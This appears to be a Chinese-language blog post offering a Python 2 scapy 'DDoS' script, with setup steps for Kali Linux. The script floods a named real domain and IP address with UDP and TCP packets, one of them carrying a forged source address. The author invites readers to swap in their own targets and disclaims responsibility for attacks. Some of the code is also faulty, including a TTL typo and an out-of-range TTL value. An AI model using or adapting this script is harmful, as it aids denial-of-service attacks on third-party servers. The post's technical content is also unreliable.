前言:突然想寫,然后去了解原理
DDOS原理:往指定的IP發送數據包(僵屍網絡),導致服務器
拒絕服務,無法正常訪問。
0x01:
要用到的模塊
scapy模塊 pip install scapy 或: https://github.com/phaethon/scapy 下載setup.py 然后執行python setup.py install
系統環境:kali Linux
windows會報模塊缺少還有一個162行的windows.dll的錯誤
打大站,妹的。惡心的一片的站
0x03
代碼分析:
#-*- coding:'utf-8' -*- import time import struct from threading import * import socket from scapy.all import * start=time.time() screenlock=Semaphore(value=1000) print '[^]HAQ DDOs start!' def DDos(): try: print '[*]Second layers of DDos' s=srp(IP(dst="www.dgjy.net",ttl=480)/UDP())#第二層攻擊 print s[0].show() except Exception,e: print '[-]The cause of the mistake {}'.format(e) try: print '[*]Third layer DDos' p = srloop(IP(dst="www.dgjy.net", ttl=160) / UDP())#第三層攻擊 print p[0].show() except Exception,s: print '[-]The cause of the mistake{}'.format(s) try: print '[*]Repeated attacks' see=srp(IP(dst="113.108.127.169")/TCP(dport=[80,443]))#重復攻擊 print see[0].show() except Exception,f: print '[-]The cause of the mistake{}'.format(f) try: data = struct. pack ('=BHI',0x96,20,1000) pkt = IP(src='192.168.225.141',dst='113.108.127.169')/UDP(sport= 12345,dport=[80,443])/data print '[*]DDoS attacks are being carried out!' screenlock.acquire() send (pkt,inter= 1 ,count= 160) except Exception,g: print "[-]The cause of the mistake{}".format(g) try: print '[*]DDos' gp=sr1(IP(dst="www.dgjy.net",tll=(1,160))/UDP()) except Exception,i: print '[-]cause of the mistake{}'.format(i) t = Thread(target=DDos, args=()) t.start() end=time.time() print '[!]Time consuming of this program,The first time is the initialization time:',end-start
食用文檔:https://phaethon.github.io/scapy/api/usage.html#starting-scapy
github下載地址:https://github.com/422926799/python
自己修改目標
惡意攻擊他人服務器出事請自行負責。